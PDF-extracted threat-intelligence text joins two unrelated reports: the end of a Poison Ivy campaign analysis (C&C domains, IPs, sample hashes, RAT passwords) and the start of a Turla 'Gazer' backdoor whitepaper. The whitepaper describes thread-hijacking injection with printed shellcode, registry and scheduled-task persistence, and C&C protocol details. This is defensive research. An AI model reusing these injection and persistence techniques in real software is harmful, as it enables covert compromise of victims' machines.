The admin338 sample 8010cae3e8431bb11ed6dc9acabb93b7 connects to the CnC domains www.
webserver.fartit.com, www.webserver.
freetcp.com, and www.webserver.dynssl.com.
www.webserver.fartit.com resolved to 113.10.246.30, 219.90.112.203, 202.65.220.64, and 75.126.95.138, which overlap with the gwx123 IP addresses.
www.webserver.freetcp.com resolved to 113.10.246.30, 219.90.112.203, 202.65.220.64, 75.126.95.138, 219.90.112.197, and 202.65.222.45, which overlap with the gwx123 IP addresses.
www.webserver.dynssl.com resolved to 113.10.246.30, 219.90.112.203, 219.90.112.203, 75.126.95.138, 219.90.112.197, and 202.65.222.45, which overlap with the gwx123 IP addresses.
This data indicates a relationship among the threat actors behind these attacksin most cases, they at least share a common CnC infrastructure.
In addition to historic DNS resolutions, PIVY process mutexes suggest a relationship between PIVY passwords gwx123 and admin338.
Although the mutexes of gwx123, wwwst Admin, and admin338 samples were different, the choice of characters in the mutex revealed a similar pattern.
http://www.fireeye.com 21 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Campaign 2: th3bug Our data set for th3bug threat actor comprises the following: 14 Poison Ivy samples 2 passwords 9 CnC servers The earliest th3bug PIVY sample we have is dated October 26, 2009.
This ongoing campaign targets a number of industries but appears to prefer targets in higher education and the healthcare sectors.
Figure 14: Linkage of admin338 PIVY samples by password and mutex Figure 15: Percent of th3bug APT group attacks by industry http://www.fireeye.com 22 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Attack vector Unlike the other two campaigns described in this report (admin338 and menuPass), th3bug does not appear to rely on spear phishing to distribute PIVY.
Instead, attacks attributed to th3bug use a strategic Web compromise to infect targets.
This approach is more indiscriminate, which probably accounts for the more disparate range of targets.
In the FireEye blog, we documented a recent th3bug strategic Web compromise.31 In the following example, the actor or actors behind the th3bug campaign compromised multiple websites that catered to the intended targets.
The attacker used injected JavaScript on the compromised websites to redirect targets to an Internet Explorer exploit that dropped Stage 1 launcher/downloader mobile code.
This downloader then retrieved and installed a PIVY RAT variant.
Figure 16: Example of initial infection vector by th3bug APT group 31 Thoufique Haq and Yasir Khalid.
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http://www.fireeye.com 23 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Weaponization In related campaigns, th3bug has used a number of different Java and Internet Explorer exploits, including (CVE-2013-0422),32 (CVE-2013- 1347),33 and (CVE-2011-3544).34 Figure 17: Example of ROP exploit code used by th3bug APT group Figure 18: Cluster intel of the th3bug APT group 32 National Institute of Standards and Technology.
Vulnerability Summary for CVE-2013-0422.
February 2013.
33 National Institute of Standards and Technology.
Vulnerability Summary for CVE-2013-0422.
January 2013.
34 National Institute of Standards and Technology.
Vulnerability Summary for CVE-2011-3544.
October 2011.
http://www.fireeye.com 24 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence The default PIVY password of admin has been used by multiple, distinct threat actorsso clearly, we cannot link all PIVY samples with the admin password to th3bug.
But evidence suggests that the attackers originally used the default password before settling on th3bug.
We can link at least one PIVY sample that uses the admin password to the th3bug campaign based on the following connections: The sample 8002debc47e04d534b45f7bb7dfcab4d connected to kr.iphone.qpoe.com with the PIVY password admin.
The domain kr.iphone.qpoe.com resolved to 180.210.206.96 on January 12, 2012.
The domain nkr.iphone.qpoe.com also resolved to 180.210.206.96 on January 3, 2012.
The domain nkr.iphone.qpoe.com also resolved to 101.78.151.179 on December 23, 2011.
The domain e.ct.toh.info resolved to 101.78.151.179 on June 12, 2012.
The sample 55a3b2656ceac2ba6257b6e39f4a5b5a connected to ct.toh.info domain with the PIVY password th3bug.
We found a smaller number of distinct PIVY samples linked to th3bug than we did for the admin338 and menuPass campaigns.
This paucity is likely a result of two factors.
First, th3bug does not appear to stage a high volume of attacks.
Instead, it appears to run only a handful of strategic Web compromise attacks each year.
Second, th3bug stages its delivery of PIVY.
So to acquire the second-stage PIVY server payload, an attack must be observed in real time.
Figure 19: Partial cluster intel of the th3bug APT group (zoomed in) http://www.fireeye.com 25 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Campaign 3: menuPass Our data set for the menuPass threat actor comprises the following: 118 Poison Ivy samples 8 passwords 61 domains 74 IP addresses The earliest menuPass PIVY sample we have is dated December 14, 2009.
This sample (b08694e14a9b966d8033b42b58ab727d) connected to a control server at js001.3322.org with a password xiaoxiaohuli (Chinese translation: little little fox).
Based on what we have found, it appears that the threat actor behind menuPass prefers to target U.S. and foreign defense contractors.
Figure 20: Percent of menuPass APT group attacks by industry http://www.fireeye.com 26 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Attack vector The menuPass campaign appears to favor spear phishing to deliver payloads to the intended targets.
The email shown in Figure 21 shows a typical menuPass spear-phishing attempt.
While the attackers behind menuPass have used other RATs in their campaign, it appears that they use PIVY as their primary persistence mechanism.
Figure 21: Example of spear-phishing email launched by the menuPass APT group Figure 22: Example of weaponized, nested EXEs, used by menuPass APT group Weaponization The menuPass campaign has used weaponized Microsoft Word documents (CVE-2010-3333)35 and ZIP files containing executable files to drop PIVY directly onto its targets.
Figure 22 outlines several executables delivered in ZIP files attached to menuPass spear-phishing emails.
File Name Compile Time MD5 Strategy_Meeting.exe 2012-06-11 04:41:31 8d6b6e023b4221bae8ed- 37bb18407516 Background Consent Form.exe 2012-05-13 22:13:07 8d769c63427a8ce407d17946 702c7626 Doha_Climate_Change_Conference- November_2012.exe 2012-11-13 07:19:03 001b8f696b6576798517168cd 0a0fb44 http://www.fireeye.com 27 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Clustering The menuPass attackers favor using a launcher that masquerades as a Microsoft Foundation Class Library application36 using the document/ view architecture.
This launcher includes a packed copy of the PIVY server that is subsequently unpacked and executed in memory shortly after a useless call to the FindFirstFile API.
Out of the 155 samples we collected f or menuPass, 81 of them are MFC apps with a document class.
Out of these 81 MFC launchers, 64 use the CBricksDoc class name.
We also found these names: CMy20130401Doc CShellCodeDoc CMy20130401Doc CPiShellPutDo CCrocodileDoc CMy20130401Doc CStatePattern_GameDoc CPiShellPutDoc CPIVCDoc CMy1124Doc CLightGameDoc CPiShellPutDoc Some samples were packed into projects taken from the Web and repurposed to serve as launchers.
The most popular PIVY password used by the menuPass campaign is keaidestone (used in 35 samples) followed by menuPass (24 samples).
The threat actor also used these PIVY passwords in the same campaign: suzuki happyyongzi admin smallfish XGstone xiaoxiaohuli fishplay http://www.fireeye.com 28 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence A number of IPs in the 60.10.1.0/24 Classless Inter-Domain Routing (CIDR) block have hosted domains used in the menuPass campaign.
We can see the connection between the keaidestone password and the XGstone password by observing the following connections in this same /24 CDIR block: The IP 60.10.1.120 hosted the domain apple.
cmdnetview.com.
The sample d8c00fed6625e5f8d0b8188a5caac115 connected to apple.cmdnetview.com with the password XGstone.
The IP 60.10.1.115 hosted the domain autuo.
xicp.net.
The sample b1deff736b6d12b8d98b485e20d318ea connected to autuo.xicp.net with the password keaidestone.
The samples b1deff736b6d12b8d98b485e20d318ea and d8c00fed6625e5f8d0b8188a5caac115 also shared the use of the CBricksDoc launcher.
08709f35581e0958d1ca4e50b7d86dba has a compile time of July 20.
2012 and connected to tw.2012yearleft.com with the password keaidestone.
This sample also used the CBricksDoc launcher.
2012yearleft.com was registered on February 13, 2012 by zhengyanbin8gmail.
com.
The domain cmdnetview.com was also registered on February 13, 2012 by zhengyanbin8gmail.com.
Figure 21: Example of spear-phishing email launched by the menuPass APT group Figure 24: Partial cluster intel of the menuPass APT group (zoomed in on menuPass) http://www.fireeye.com 29 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence We can also see the connection between the keaidestone password and the smallfish password by observing the connections in the 60.10.1.0/24 CDIR block: The domain dedydns.ns01.us resolved to 60.10.1.121.
The sample e84853c0484b02b7518dd6837 87d04fc connected to dedydns.ns01.us with the password smallfish and used the CBricksDoc launcher.
We can see the connection between the keaidestone password and the happyyongzi password by observing the connections in the 60.10.1.0/24 CDIR block: The domain maofajapa.3322.org resolved to 60.10.1.121.
The sample cf8094c07c15aa394dddd4eca4aa8c8b connected to maofajapa.3322.org with the password happyyongzi.
The password suzuki can be linked to keaidestone by observing the following relationships: The sample 410eeaa18dbec01a27c5b41753b3c7ed connected to send.have8000.com with the password of suzuki.
The domain have8000.com was registered on 2012-02-13 via the email zhengyanbin8 gmail.com.
The same email of zhengyanbin8gmail.com also registered cmdnetview.com on the same date of 2012-02-13.
As stated above, the sample b2dc98caa647e64a2a8105c298218462 connected to apple.cmdnetview.com with the password XGstone.
We can link the password of menuPass to keaidestone by observing the following connections: 08709f35581e0958d1ca4e50b7d86dba has a compile time of July 20, 2012 and connected to tw.2012yearleft.com with the password keaidestone.
This sample also used the CBricksDoc launcher.
tw.2012yearleft.com resolved to 60.10.1.114 on June 6, 2012 and to 60.1.1.114 on March 11, 2013.
The domain fbi.zyns.com resolved to 60.10.1.118 on August 21, 2012.
68fec995a13762184a2616bda86757f8 had a compile time of March 25, 2012 and connected to fbi.zyns.com with the password menuPass.
This sample also used the CBricksDoc launcher.
The sample 39a59411e7b12236c0b4351168fb47ce had a compile time of April 2, 2010 and connected to weile3322b.3322.org with the password keaidestone.
This sample used a launcher of CPiShellPutDoc.
The sample f5315fb4a654087d30c69c768d80f826 had a compile time of May 21, 2010 and connected to ngcc.8800.org with the password menuPass.
This sample also used a launcher of CPiShellPutDoc.
http://www.fireeye.com 30 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence We can see the connection between the happyyongzi password and menuPass by observing the following connections: The sample e6ca06e9b000933567a8604300094a85 connected to the domain sh.chromeenter.
com with the password happyyongzi.
The domain sh.chromeenter.com previously resolved to the IP 60.2.148.167.
The domain jj.mysecondarydns.com also resolved to 60.2.148.167.
Similar to other threat actors, this threat actor has also used PIVY samples using the default admin password.
Again, not all PIVY samples with the password admin can be linked to menuPass.
But we can see the connection between the menuPass and at least a couple of instances of PIVY using the admin password via the following connections: The sample 56cff0d0e0ce486aa0b9e4bc0bf2a141 was compiled on 2011-08-31 and connected to mf.ddns.info with the password menuPass.
The domain mf.ddns.info resolved to 54.241.8.84 on November 22, 2012.
This same IP also hosted the domain av.ddns.us on the same date.
The sample 60963553335fa5877bd5f9be9d8b23a6 was compiled on June 9, 2012 and connected to av.ddns.us with the password of admin.
A number of menuPass and admin samples also shared the same CBricksDoc launcher including but not limited to 6d989302166ba1709d66f90066c2fd59 and 4bc6cab128f623f34bb97194da21d7b6.
The sample 4e84b1448cf96fabe88c623b222057c4 connected to jj.mysecondarydns.com with the password menuPass.
The password of fishplay can be linked to menuPass by observing the following relationships: The sample 494e65cf21ad559fccf3dacdd69acc94 connected to mongoles.3322.org with the password fishplay.
The mongoles.3322.org domain resolved to 123.183.210.28.
The domain a.wubangtu.info also resolved to 123.183.210.28.
The sample a5965b750997dbecec61358d41ac93c7 connected to 3q.wubangtu.info with the password menuPass.
The sample 494e65cf21ad559fccf3dacdd69acc94 and a5965b750997dbecec61358d41ac93c7 also share the same CBricksDoc launcher.
We can link the password of xiaoxiaohuli to menuPass through the shared CPiShellPutDoc launcher: f5315fb4a654087d30c69c768d80f826 had a compile time of May 21, 2010 and connected to ngcc.8800.org with the password of menuPass.
e6ca06e9b000933567a8604300094a85 had a compile time of June 29, 2010 and connected to sh.chromeenter.com with the password happyyongzi.
http://www.fireeye.com 31 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence Both f5315fb4a654087d30c69c768d80f826 and e6ca06e9b000933567a8604300094a85 use the same CPiShellPutDoc launcher.
Finally, we can link the password of happyyongzi to xiaoxiaohuli by observing the following relationships: e6ca06e9b000933567a8604300094a85 has a compile time of 2010-06-29 and connects to sh.chromeenter.com with the password happyyongzi.
e62584c9cd15c3fa2b6ed0f3a34688ab has a compile time of 2009-12-28 and connects to the domain js001.3322.org with the password xiaoxiaohuli.
Both e6ca06e9b000933567a8604300094a85 and e62584c9cd15c3fa2b6ed0f3a34688ab use the same CPiShellPutDoc launcher.
Figure 21: Example of spear-phishing email launched by the menuPass APT group http://www.fireeye.com 32 www.fireeye.com Poison Ivy: Assessing Damage and Extracting Intelligence FireEye, Inc. 1440 McCarthy Blvd.
Milpitas, CA 95035 408.321.6300 877.FIREEYE (347.3393) infofireeye.com www.fireeye.com 2014 FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
RPT.PIVY.EN-US.082014 Conclusion We cannot say with certainty why the actors responsible for the admin338, menuPass, and th3bug campaigns rely on Poison Ivy.
But possible explanations include PIVYs easy-to-use features and the relative anonymity that an off-the-shelf RAT provides for attackers.
Compared to other RATs, PIVY is very easy to operate.
Its graphical user interface (GUI) makes building new servers and controlling infected targets simple.
Attackers can point and click their way through a compromised network and exfiltrate data.
Commodity RATs also complicate efforts by security professionals to correlate a threat actors activity over timeattackers can hide in the sea of malicious activity that also uses Poison Ivy-based malware.
By exposing the role of PIVY and other commodity RATs in APT campaigns we hope to complicate attackers ability to hide behind these off-the-shelf toolsand perhaps force them away from using these RATs.
In this report, we have provided several techniques that network defenders can use to not only identify a PIVY infection, but also classify and correlate detected infections to previously observed APT activity.
In the process of building their PIVY servers, attackers leave a number of potentially useful clues, such as: The domains and IPs used for CnC The chosen PIVY process mutex The chosen PIVY password Launcher code used in the droppers Timeline of activity Targets of attack Together, all of these data points can help effectively identify and correlate APT activity that uses the Poison Ivy RAT.
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Gazing at Gazer Turlas new second stage backdoor August 2017 Gazing at Gazer Turlas new second stage backdoor August 2017 Table of ConTenT Introduction 5 Summary 5 Similarities with other Turla tools 6 Custom encryption 6 Global architecture 7 Loader 7 Logs 11 Working Directory 13 Orchestrator 14 Communication Module 16 Messages between components 18 Gazer versions 20 IoCs 21 Filenames 21 Registry keys 21 CC URLs 21 Mutexes 21 Hashes 22 appendices 25 Function names 25 Yara rules 29 lIST of fIGureS Figure 1.
Turla authors sense of humor 6 Figure 2.
Gazer architecture 7 Figure 3.
Message format 18 Figure 4.
Certificates used to sign the malware variants 20 lIST of TableS Table 1.
Abstract Class Autorun 15 Table 2.
Abstract Class Queue 16 Table 3.
Abstract Class Storage 16 Table 4.
Abstract Class TListenerInterface 16 Table 5.
Abstract Class TAbstractTransport 16 Table 6.
Gazer sample hashes 22 Gazing at Gazer Turlas new second stage backdoor 5 InTroduCTIon Herein we release our analysis of a previously undocumented backdoor that has been targeted against embassies and consulates around the world leads us to attribute it, with high confidence, to the Turla group.
Turla is a notorious group that has been targeting governments, government officials and diplomats for years.
They are known to run watering hole and spearphishing campaigns to better pinpoint their targets.
Although this backdoor has been actively deployed since at least 2016, it has not been documented anywhere.
Based on strings found in the samples we analyzed, we have named this backdoor Gazer.
Recently, the Turla APT group has seen extensive news coverage surrounding its campaigns, something we havent seen for a long time.
The Intercept reported that there exists a 2011presentation by Canadas Communication Security Establishment (CSE) outlining the errors made by the Turla operators during their operations even though the tools they use are quite advanced.
The codename for Turla APT group in this presentation is MAKERSMARK.
Gazer is, similar to its siblings in the Turla family, using advanced methods to spy and persist on its targets.
This whitepaper highlights the campaigns in which Gazer was used and also contains a technical analysis of its functionalities.
Summary Based on our research and telemetry on the different campaigns where Gazer was used,we believe that Southeastern Europe as well as countries in the former Soviet Union Republichas recently been the main target.
The witnessed techniques, tactics and procedures (TTPs) are in-line with what we usuallysee in Turlas operation: a first stage backdoor, such as Skipper, likely delivered through spearphishingfollowed by the appearance on the compromised system of a second stage backdoor, Gazerin this case.
Although we could not find irrefutable evidence that this backdoor is truly another tool in Turlas arsenal, several clues lead us to believe that this is indeed the case.
First, their targets are in line with Turlas traditional targets: Ministries of Foreign Affairs (MFAs) and embassies.
Second, the modus operandi of spearphishing, followed by a first stage backdoor and a second stage, stealthier backdoor is what has been seen over and over again.
Skipper, which has been linked to Turla in the past, was found alongside Gazer in most cases we investigated.
Finally, there are many similarities between Gazer and other second stage backdoors used by the Turla group such as Carbon and Kazuar.
As usual, the Turla APT group makes an extra effort to avoid detection by wiping files securely, changing the strings and randomizing what could be simple markers through the different backdoor versions.
In the most recent version we have found, Gazer authors modified most of the strings and inserted video-game-related sentences throughout the code.
An example of such a string is depicted in Figure 1.
https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/ https://theintercept.com/2017/08/02/white-house-says-russias-hackers-are-too-good-to-be-caught-but-nsa-partner-called-them-morons/ https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender-Whitepaper-PAC-A4-en_EN1.pdf https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/ https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/ Gazing at Gazer Turlas new second stage backdoor 6 Figure 1.
Turla authors sense of humor SImIlarITIeS wITh oTher Turla ToolS Gazer is written in C and shares several similarities with other malware from the Turla APT family.
Indeed, Gazer, Carbon and Kazuar can receive encrypted tasks from a CC server, which can be executed either by the infected machine or by another machine on the network.
They all use an encrypted container to store the malwares components and configuration and they also log their actions in a file.
The list of CC servers is encrypted and embedded in Gazers PE resources.
They are all compromised, legitimate websites (that mostly use the WordPress CMS) that act as a first layer proxy.
This is also a common tactic for the Turla APT group.
Another interesting linkage is that one of the CC servers embedded in a Gazer sample was known to be used in a JScript backdoor documented by Kaspersky as Kopiluak.
Last but not least, these three malware families (Gazer, Carbon and Kazuar) have a similar list of processes that may be employed as a target to inject the module used to communicate with the CCserver embedded in the binary.
The resource containing this list can change from one sample to another, it is likely tailored to what is installed on the system (for example, on some samples, the process name safari.exe can appear on the list).
CuSTom enCrypTIon Gazers authors make extensive use of encryption.
They dont use the Windows Crypto API and dont seem to use any public library.
It looks as if they are using their own library for 3DES and RSA.
The RSA keys embedded in the resources contains the attackers public key which is used to encrypt the data sent to the CC server, and a private key to decrypt resources embedded in its binaries.
These keys are unique in each sample.
These resources are structured in the same way as RSA from OpenSSL, but these values (p, q, etc.)
are computed by the custom implementation of Gazers authors.
https://wiki.openssl.org/index.php/Manual:Rsa(3) Gazing at Gazer Turlas new second stage backdoor 7 For 3DES, the IV and a static key are hardcoded and are the same in all samples.
This 3DES key is randomly generated and XORed with the static key.
The random data used to XOR the static key is prepended to the logfile header.
This key is then used in the regular 3DES algorithm.
Global arChITeCTure In this section, we will describe in detail each component of Gazer.
CC server May forward task GAZER LOADER rsrc 101 explorer.exe rsrc 102 Orchestrator GAZER ORCHESTRATOR rsrc 101 [...] running within explorer.exe rsrc 102 Comm module GAZER ORCHESTRATOR running within firefox.exe (for example) Injected into process indicated in rsrc 101 Send tasks result Injected into a process that legitimately communicate over the internet.
(
process list from rsrc 106) Forward task Machines on the same network (P2P) Send tasks results Get new tasks Figure 2.
Gazer architecture Loader The loader is the first component of the malware to be executed on the system.
Two resources are stored unencrypted in the binary: 101: the process name to inject the orchestrator into1 102: the orchestrator The following mutex is created to ensure that only a single instance of the malware is running: 531511FA-190D-5D85-8A4A-279F2F592CC7 Named pipe generation To establish a communication channel between Gazer components, a named pipe is initiated.
The named pipe is generated from this string: \\\\.\\pipe\\Winsock2\\CatalogChangeListener-FFFF-F 1 Note that in all samples we have analyzed the process name is explorer.exe Gazing at Gazer Turlas new second stage backdoor 8 The pattern FFFF-F is replaced with values computed from the security identifier (SID) of the current user and the current timestamp.
Lets take for example the current date as: 2017/04/24 and the SID: S-1-5-21-84813077- 3085987743-2510664113-1000.
To generate the pattern at the end of the named pipe, some arithmetic is performed: time SystemTime.wDay Systemtime.wMonth SystemTime.wYear 24 04 2017 0x2f460 xsid (1 21 84813077 3085987743 2510664113 1000) 0xFFFFFFFF 0xefa252d8 ((time 20) (time 0xFFF) ((time 12) 0xFFF)) 0xFF 0x93 ((xsid 20) (xsid 0xFFF) ((xsid 12) 0xFFF)) 0xFF 0x13 ((time xsid 24) (uint8_t)(time xsid) ((uint16_t)(time xsid) 8) (uint8_t)(time xsid 16)) 0xf) 0xa In this case, the named pipe will be: \\\\.\\pipe\\Winsock2\\CatalogChangeListener-9313-a If the current users SID cannot be retrieved, the named pipe \\\\.\\pipe\\\Winsock2\\ CatalogChangeListener-FFFE-D will be used by default.
Code injection through thread hijacking A not-so-common trick is used in order to inject the orchestrator into a remote process.
Indeed, a running thread from the remote process is hijacked in order to run shellcode that will execute the communication module entry point.
The whole module and shellcode are copied into the remote process the function ZwQuerySystemInformation is used to retrieve the total number of the running threads in the targeted process the following operations are attempted on each of those threads: the thread is suspended with the OpenThread/SuspendThread functions the thread context is retrieved using GetThreadContext the contexts instruction pointer is saved and modified to point to the shellcode (through SetThreadContext) the thread is resumed using ResumeThread.
if one of the previous operations fails, the thread is resumed and the same actions are attempted on another thread.
Gazing at Gazer Turlas new second stage backdoor 9 launcher: push rax sub rsp, 38h movabs rax, 5D20092 end of payload mov qword ptr ss:[rsp28], rax lpThreadId mov qword ptr ss:[rsp20], 0 dwCreationFlags xor r9d, r9d lpParameter movabs r8, 5D20046 lpStartAddress payload xor edx, edx dwStackSize 0 xor ecx, ecx lpThreadAttributes NULL call qword ptr ds:[CreateThread] movabs rax, 90A7FACE90A7FACE replaced by the saved instruction pointer from thread context ) add rsp, 38h xchg qword ptr ss:[rsp], rax ret payload: sub rsp, 28 movabs r8, 5D20096 mov edx, 1 movabs rcx, 4000000000000000 call qword ptr ds: [DllEntryPoint] xor ecx, ecx call ExitThread int 3 xxxx DllEntryPoint xxxx CreateThread xxxx ExitThread xxxx xxxx xxxx xxxx TID The shellcode is just a loader that will execute the module entry point in a new thread.
Persistence The loader sends binary data through the named pipe to the orchestrator.
This blob contains: a command ID (2): CMC_TAKE_LOADER_BODY the loader path file the loader PE Once this message is received by the orchestrator, the loader is securely deleted by overwriting the file content and deleted through the DeleteFile function.
Afterwards, the persistency is set up.
The persistency information is retrieved from the resource 105 and stored in the Gazer storage.
Among these data, there is a dword value that is used to choose which persistency mode will be applied.
The resource 105 is structured in the following way: a dword value representing the persistence mode a dword value representing the size of the data the persistence information Gazing at Gazer Turlas new second stage backdoor 10 There are 6 different persistence modes.
0: ShellAutorun Persistence is achieved through the Windows registry by setting the value Shell with explorer.
exe, malware_pathfile under the following key: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon 1: HiddenTaskAutorun It is very similar to the TaskScheduler Autorun (4) method described below.
The main difference is that the task is hidden from the user by using the TASK_FLAG_HIDDEN flag (set up via the SetFlags method from the ITask interface).
2: ScreenSaverAutorun In this mode, Gazer achieves persistency by setting up in the Windows registry the executable file used for the screensaver.
Many values are created under the HKCU\Control Panel\Desktop registry key: SCRNSAVE.exe with the malware executable path ScreenSaveActive is set to 1: enable the screensaver ScreenSaverIsSecure is set to 0: specifies that the screensaver is not password-protected ScreenSaveTimeout is set to a value given in the resource.
It specifies how long the system remains idle before the screensaver (in this case: the malware) starts.
3: StartupAutorun If the resource 105 begins with the dword value 3, a LNK file will be created in the Start Menu.
The resource will also provide a description for the shortcut file, the path for the target and the filename for the LNK.
The IShellLink interface is used to create the shell link.
4: TaskSchedulerAutorun This method is used to achieve persistence by creating a scheduled task.
The task is created and set up through COM interfaces related to tasks (ITaskService, ITaskSettings, ).
Some information such as the task name and its description is retrieved from the resource.
For example, in one of the samples resources, the persistency mode is set to 04 (TaskSchedulerAutorun) with the persistency data: APPDATA\Adobe\adobeup.exe Adobe Acrobat Reader Updater.
This task was generated by Adobe Systems, Inc to keep your Adobe Software up-to-data.
\Adobe\AcrobatReader.
Adobe In this example, a scheduled task will be created and set up thus: Task name: Adobe Acrobat Reader Updater Executable: APPDATA\Adobe\adobeup.exe The orchestrator will copy the loader received through the named pipe to this location Gazing at Gazer Turlas new second stage backdoor 11 Task description: This task was generated by Adobe Systems, Inc to keep your Adobe Software up-to-data Task folder: \Adobe\AcrobatReader.
Adobe Last but not least, the task is configured to be started by the task scheduler at any time after its scheduled time has passed.
The task will be triggered when the current user logs on.
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Gazing at Gazer Turlas new second stage backdoor 15 Resources listing 101: RSA private key.
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data/reports_final/0082.txt
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Gazing at Gazer Turlas new second stage backdoor 15 Resources listing 101: RSA private key.
It is used to decrypt the other resources.
102: an RSA public key.
103: empty 104: unknown 105: store the persistency information 106: the list of processes to use to try to inject the communications module 107: CC communication DLL 108: CC server list 109: Gazer working directory path 110: plugins list 111: local transport information Task Execution When a task is retrieved from the CC, it is either executed by the infected machine or by another computer on the same network through a P2P mechanism (in the same way this was done in Carbon and Snake).
The task can be: file upload file download configuration update command execution The result of the task is stored in a queue and forwarded to the module that communicates with the CC server when access to the Internet is available.
Classes Hierarchy The malware is written in C and the RTTI that contains information about the objects used in the code is not overwritten.
There are 5 abstract classes that have several implementations.
Table 1.
Abstract Class Autorun Class Name LinkAutorun StartupAutorun ShellAutorun ScreenSaverAutorun TaskSchedulerAutorun HiddenTaskAutorun https://en.wikipedia.org/wiki/Run-time_type_information Gazing at Gazer Turlas new second stage backdoor 16 Table 2.
Abstract Class Queue Class Name TaskQueue ResultQueue Table 3.
Abstract Class Storage Class Name ExeStorage FSStorage RegStorage Table 4.
Abstract Class TListenerInterface Class Name LTMessageProcessing CMessageProcessingSystem Table 5.
Abstract Class TAbstractTransport Class Name LTNamedPipe TNPTransport Communication Module The communication module is used to retrieve tasks from the CC server and to dispatch them to the orchestrator.
This library is injected into a process which can legitimately communicate over the Internet.
The injection library is the same as the one found in the loader to inject the orchestrator into explorer.exe.
Communication Initialization If a proxy server exists, it is retrieved and used by Gazer to make the HTTP requests.
There are two different methods used to retrieve this value, either by requesting the following registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings or through the function InternetQueryOption with the flag INTERNET_OPTION_PROXY if the proxy server cannot be retrieved through the registry.
The system user agent is then set up: the default value of the HKCU\Software\Microsoft\Windows\Current Version\ Internet Settings\User Agent key is retrieved Gazing at Gazer Turlas new second stage backdoor 17 the value keys under HKLM\Software\Microsoft\Windows\Current Version\Internet Settings\5.0\User Agent\Post Platform are enumerated and those that contain the sub-string IEAK are concatenated with the user agent string from the previous step in the case that no user agent was found in the registry, the hardcoded UA Mozilla/4.0 (compatible MSIE 6.0) is used Before attempting any contact with the CC server, the internet connection is checked by trying to reach the following servers one by one until one returns a HTTP status code 200: update.microsoft.com microsoft.com windowsupdate.microsoft.com yahoo.com google.com CC server communication The malware communicates with its CC server to retrieve tasks (through HTTP GET requests) and to send the tasks results (through HTTP POST requests).
Before sending a request to the CC, the command CMC_GIVE_SETTINGS is sent to the orchestrator through its communication channel (a named pipe, more on this in the next section).
The message (MSG) contained in the packet in this case is a single byte set by the orchestrator for the command result status.
The orchestrator replies on the same channel with the settings retrieved from the working directory with the object id, the list of the CC servers and the last connection date.
A GET request is performed to retrieve a task from the CC.
The parameters of the GET request are chosen from amongst a hardcoded list of keywords that does not look suspicious.
Their values are generated randomly in the charset [a-z0-9] with a random size from a range given for each parameter: id [6-12] (As with all other parameters, if this parameter is used in the request, it will have a random value (of letters and digits) with a random size between 6 and 12 characters.)
hash [10-15] session [10-15] photo [6-10] video [6-10] album [6-10] client [5-10] key [5-10] account [6-12] member [6-12] partners [5-10] adm [6-12] author [6-12] Gazing at Gazer Turlas new second stage backdoor 18 contact [6-12] content [6-12] user [6-12] Here are few examples of such requests: xxx.php?album2ildzqkeyhdr2apartnersd2lic33fsessionnurvxd2x0z8bztzvideo sg508tujmphoto4d4idgkxxx.php?photohe29zms5fcuserhvbc2aauthorxvfj5r0q 9cclient7mvvcpartnerst4mgmuyadmlo3r6v4xxx.php?memberectwzo820contact 2qwi15albumf1qzoxuef4sessionx0z8bztz8hrs65fidt3x0ftu9xxx.php?partners ha9hz9sn12hash5740kptk3acmualbumuef4nm5dsessiondpeb67ip65fmemberarj6 x3ljjxxx.php?videonfqsz570client28c7lu2partners818eguh70contactibj3xch content1udm9t799ixrsession5fjjt61qred9uo A timeout of 10 minutes is set for each request (send/receive/connect) through InternetSetOption.
Once the request is sent, the response is handled only if the returned HTTP status code is 404.
The content of the response is encrypted and can be decrypted with the private RSA key generated by the orchestrator.
The response body contains a blob of data and an MD5 hash of the data.
The blob is hashed and compared to the MD5 to ensure the integrity of the servers response.
If the response size is 20 bytes (a blob of 4 bytes the hash), there are no tasks to retrieve.
A command CMC_TAKE_TASK is sent to the orchestrator with the encrypted task received from the CC server and its size.
The orchestrator will be in charge of executing the task and will send the results to the communication module.
Once the blob of the tasks results (encrypted by the orchestrator) is received, it is sent to the CC server through a POST request in the same way that it was done for the GET request (using parameters with random values).
Messages between components A global named pipe is used for the communication between the different components.
The data sent through this named pipe is formatted in the following way: 0 31 48 MSGDatatype ID_CMD Figure 3.
Message format DATATYPE: the same constants are used for the resources (check the File Format entry in the Resources section) ID_CMD: the command name (check below for a complete list) MSG: the data to be sent Here is a listing of the different commands: CMC_TAKE_TASK (ID_CMD: 1) When a task is retrieved by the CC server module, it is sent to the orchestrator, which stores the task in the task queue.
CMC_TAKE_LOADER_BODY (ID_CMD: 2) Gazing at Gazer Turlas new second stage backdoor 19 Wipe Gazers original loader file, clean persistency and set up a copy of the loader and its persistency according to one of the resources (check persistency part for details).
CMC_GIVE_RESULT (ID_CMD: 4) When this message is received, the orchestrator will retrieve the tasks result from the result queue, compress and encrypt it using the servers public RSA key (the one from the resource 102) and send the blob to the communication module which will send the whole result to the server through a POST request.
CMC_GIVE_SETTINGS (ID_CMD: 5) The communication module sends this message to the orchestrator to request the information needed to contact the server (list of the servers to contact, the last connection time and the victim ID).
CMC_TAKE_CONFIRM_RESULT (ID_CMD: 6) When the communication module sends a tasks result to the server, a message is sent to the orchestrator that will remove the tasks result from the queue.
CMC_TAKE_CAN_NOT_WORK (ID_CMD: 7) When an operation has failed (for example, if the communication module cannot correctly parse the data received from the orchestrator), this message is sent to the orchestrator with the last error code.
